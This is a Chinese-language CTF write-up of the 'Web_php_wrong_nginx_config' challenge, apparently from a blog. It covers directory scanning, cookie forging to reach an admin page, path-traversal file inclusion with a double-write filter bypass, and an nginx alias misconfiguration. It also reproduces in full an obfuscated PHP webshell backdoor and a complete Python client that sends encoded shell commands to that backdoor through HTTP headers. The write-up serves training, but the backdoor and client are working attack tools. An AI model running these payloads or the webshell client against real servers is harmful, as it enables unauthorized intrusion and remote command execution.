攻防世界——Web_php_wrong_nginx_config

拿到靶机先用dirsearch扫描端口

扫出了6个可访问的端口

20:50:27 301 - 178B - /admin -> http://61.147.171.35/admin/

20:50:28 200 - 73B - /admin/admin.php

20:50:29 200 - 15B - /admin/

20:50:31 200 - 15B - /admin/index.php

20:51:03 301 - 178B - /images -> http://61.147.171.35/images/

20:51:29 200 - 42B - /robots.txt

分析robots.txt

发现里面给了我们两个文件

hint.php中给了我们一个配置文件的文件路径

访问这个路径需要管理员权限

访问hack.php也一样

回到login页面尝试登录

尝试弱口令登录

发现都会出现一个弹窗

分析一下文件头

发现cookie参数很奇怪

尝试修改cookie参数为1

发现成功进入主页面了

再尝试访问hack.php

发现页面没什么变化

尝试访问先前在dirsearch中扫出来的image.php

发现访问到403了

尝试随便点击一个页面链接

发现url传参有变化

出现一个file注入点

也许存在文件包含

复制代码
http://61.147.171.35:54530/admin/admin.php?file=index&ext=php

利用注入点中的文件包含漏洞访问根目录

复制代码
?file=../../../../etc/passwd&ext=

发现没反应

双写绕过

成功访问

访问先前在hint.php中提示我们的配置文件目录

格式化后如下

php 复制代码
server {
    listen 8080;  # 监听IPv4连接,默认情况下会监听所有可用的IP地址
    listen [::]:8080;  # 监听IPv6连接

    root /var/www/html;  # 设置网站的根目录
    index index.php index.html index.htm;  # 设置默认索引文件

    port_in_redirect off;  # 关闭端口重定向功能,避免在重定向时暴露服务器使用的端口号
    server_name _;  # 使用通配符作为服务器名称,匹配所有未指定的域名请求

    # 注释掉的代码,原本用于使站点可以通过 http://localhost/ 访问
    # server_name localhost;

    # 如果块用于设置日志文件的时间戳
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {  # 匹配ISO 8601时间格式
        set $year $1;  # 提取年份
        set $month $2;  # 提取月份
        set $day $3;  # 提取日期
    }

    # 根据Vagrant文档建议禁用sendfile以提高性能和兼容性
    sendfile off;

    # 过滤X-Forwarded-For

头信息中的最后一个八位字节,通常是为了保护真实IP或出于隐私考虑
    set $http_x_forwarded_for_filt $http_x_forwarded_for;
    if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
        set $http_x_forwarded_for_filt $1???;  # 替换最后一个八位字节为???
    }

    # 添加标准输出的日志记录(stdout logging)
    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;  # 自定义访问日志格式,按日期分割日志文件
    error_log /var/log/nginx/error.log info;  # 错误日志级别设置为info

    location / {
        # 尝试按照顺序查找文件、目录或执行PHP脚本
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;  # 隐藏Nginx版本号等敏感信息
    }

    # 定义500系列错误页面的处理方式
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;  # 指定50x错误页面的位置
    }

    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;  # 分割fastcgi路径信息
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;  # PHP-FPM

 Unix socket路径
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;  # 包含FastCGI

参数文件
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;  # 设置远程地址为X-Forwarded-For头信息
    }

    # 禁止访问隐藏文件和目录
    location ~ /\. {
        log_not_found off;  # 不记录找不到隐藏文件的日志
        deny all;  # 拒绝所有请求
    }

    # Web图像目录配置,允许列出目录内容
    location /web-img {
        alias /images/;
        autoindex on;  # 开启自动索引显示
    }

    # 禁止访问特定类型的文件(如配置文件、文档等)
    location ~* \.(ini|docx|pcapng|doc)$ {  
        deny all;  # 拒绝所有请求
    }  

    # 包含其他配置文件,注意这里的正则表达式符号可能需要根据实际情况调整
    include /var/www/nginx[.]conf;
}

拉到最下面我发现了刚刚被拒绝访问的images页面

alias的意思是别名,让用户可以输入web-img,实际上访问images目录

autoindex on 的意思是能够在这个页面索引其他页面

这就是一个典型的目录穿透漏洞

利用web-img../访问根目录

访问网页目录

php 复制代码
http://61.147.171.35:54530/web-img../var/www/html

发现还是先前的首页

访问前一个目录

发现一个hack.php.bak

代码审计back.php

发现是一段被混淆的代码

php 复制代码
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

直接输出$f获取源文件

发现是个已经成功写入的PHP webshell

利用这个脚本直接连接上这个脚本便可获取webshell

kh="42f7";kf="e9ac"; 和 url 填进去,url 即木马的地址,我们这里就是 hack.php 的位置

php 复制代码
#!/usr/bin/env python3
# encoding: utf-8
 
from random import randint, choice
from hashlib import md5
import urllib.parse
import string
import zlib
import base64
import requests
import re
 
def choicePart(seq, amount):
    length = len(seq)
    if length == 0 or length < amount:
        print('Error Input')
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0, length - 1)
        if i not in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result
 
def randBytesFlow(amount):
    result = b''
    for _ in range(amount):
        result += bytes([randint(0, 255)])
    return result
 
def randAlpha(amount):
    result = ''
    for _ in range(amount):
        result += choice(string.ascii_letters)
    return result
 
def loopXor(text, key):
    result = b''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt < lenTxt and iKey < lenKey:
            result += bytes([text[iTxt] ^ ord(key[iKey])])
            iTxt += 1
            iKey += 1
    return result
 
def debugPrint(msg):
    if debugging:
        print(msg)
 
# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://223.112.5.141:62739/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http': 'http://127.0.0.1:8080'}
 
sess = requests.Session()
 
# generate random Accept-Language
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(list(range(1, 10)), 3), reverse=True)
 
acceptLang = [defaultLang]
for i in range(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
 
init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = md5((init2Char + keyh).encode()).hexdigest()[0:3]
md5tail = md5((init2Char + keyf).encode()).hexdigest()[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % init2Char)
debugPrint('md5 head: %s' % md5head)
debugPrint('md5 tail: %s' % md5tail)
 
# Interactive php shell
cmd = input('phpshell > ').strip()
while cmd != '':
    if not cmd.endswith(';'):
        safe_cmd = cmd.replace("'", "\\'")
        cmd = f"system('{safe_cmd}');"
 
    # build junk data in referer
    query = []
    for _ in range(max(indexes) + 1 + randint(0, 2)):
        key = randAlpha(randint(3, 6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))).decode()
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.parse.urlencode(query))
 
    # encode payload
    payload = zlib.compress(cmd.encode())
    payload = loopXor(payload, xorKey)
    payload = base64.urlsafe_b64encode(payload).decode()
    payload = md5head + payload
 
    # cut payload, replace into referer
    cutIndex = randint(2, len(payload) - 3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0], payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.parse.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)
 
    # send request
    r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
    html = r.text
    debugPrint(html)
 
    # process response
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print('Error,  no backdoor response')
        cmd = input('phpshell > ').strip()
        continue
    output = output[0]
    debugPrint(output)
    output = base64.b64decode(output)
    output = loopXor(output, xorKey)
    output = zlib.decompress(output).decode()
    print(output)
    cmd = input('phpshell > ').strip()

ctf{a57b3698-eeae-48c0-a669-bafe3213568c}

相关推荐
Flynt4 天前
npm v12 来了:allowScripts 默认关闭,我的项目差点跑不起来
安全·npm·node.js
Avan_菜菜8 天前
FRP 内网穿透完整实战:从 HTTP 映射到 HTTPS 自签代理
运维·nginx·https
冬奇Lab9 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
两个人的幸福10 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
ping某12 天前
为什么 Nginx 明明监听了 80,转发后端时却用了 4xxxx 端口?
后端·nginx
Aphasia31112 天前
VPN 与内网穿透
安全
BingoGo12 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack12 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820713 天前
PHP 扩展——从入门到理解
php
Mr_愚人派13 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全